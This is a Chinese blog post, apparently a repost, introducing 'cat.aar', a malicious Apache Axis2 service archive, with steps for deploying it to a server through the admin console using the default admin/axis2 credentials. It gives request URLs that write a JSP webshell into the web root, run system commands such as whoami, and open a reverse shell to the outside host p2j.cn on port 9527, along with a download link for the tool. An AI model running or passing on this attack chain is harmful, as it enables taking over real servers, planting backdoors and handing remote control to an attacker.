• axis2 利用小工具cat.aar


    Axis2:

    Web Service是现在最适合实现SOAP的技术,而Axis2是实现Web Service的一种技术框架(架构)。

    昨天把把菜刀脚本打包发现<>在xml会被转义,导致菜刀客户端无法连接。看起来别人可以修改response类型,但是我没成功。利用之前发的Cat小工具打包成aar就可以玩了。

    1

    axis2管理登陆默认配置了用户名为admin,密码axis2:

    2

    3

    axis2管理后台:

    5

    想要deploy 自己的应用需要先打成对应的aar、jar包。用eclipse安装axis2插件。

    Service Archive Wizard – Eclipse Plug-in 、Code Generator Wizard – Eclipse Plug-in

    下载地址:https://axis.apache.org/axis2/java/core/tools/index.html

    下载完成后直接把对应的jar丢到eclipse的dropins目录就行了。

    新建一个java项目,写好相关脚本。

    13

    导出aar:

    安装完成后新建Axis2 service Archiver项目,当然可以根据自己的需求可以利用Axis2 code generator生成wsdl文件。

    4

    指定class file为此项目编译目录。

    6

    wsdl可以自动生成或者load已生成的wadl文件,可以跳过。Add any external libraries不用继续跳过。service.xml也自动生成接这继续跳到下一步。

    Generate the Service XML file:

    7

    选中可供外部调用的类方法。service name用于部署成功后访问。最后一步写上aar名字和位置就可以生成成功了。

    然后继续回到后台deploy Cat.arr:File Cat.aar successfully uploaded

    部署成功后切到:Available Services(可用的services)。

    8

    访问:http://localhost:8080/axis2/services/Cat?wsdl 可看到所有可被调用的方法名和具体的参数以及返回值类型:

    9

    比如调用Cat里面的getClassPathResponse这个方法,会返回了当前的classpath。

    10

    往axis2目录写shell: http://localhost:8080/axis2/services/Cat/writeStringToFile?data=test&file=/Users/yz/Documents/install/apache-tomcat-7.0.56/webapps/axis2/1.jsp&encoding=utf-8&append=false

    11执行命令: http://localhost:8080/axis2/services/Cat/exec?cmd=whoami

    12

    反弹Shell: http://localhost:8080/axis2/services/Cat/shell?host=p2j.cn&port=9527

    14

    其他功能(文件下载等)请参考:cat小工具,测试完成记得在Available Services 卸载(Remove Service)对应的Service.

    下载地址:axis2 利用小工具cat.aar.zip

  • 相关阅读:
    将博客搬至CSDN
    Fish 下报错 Unsupported use of '||'. In fish, please use 'COMMAND; or COMMAND'.
    使用VMWare虚拟机打开MFC报错:不支持16位系统
    CodeForce Div 2 C. Masha and two friends
    POJ1426 Find The Multiple
    Educational Codeforces Round 54 (Rated for Div. 2) D:Edge Deletion
    CodeForce Educational round Div2 C
    Tenka 1 Computer Contest C-Align
    CodeForce edu round 53 Div 2. D:Berland Fair
    CodeForce 517 Div 2. C Cram Time
  • 原文地址:https://www.cnblogs.com/dongchi/p/4890470.html
Copyright © 2020-2023  润新知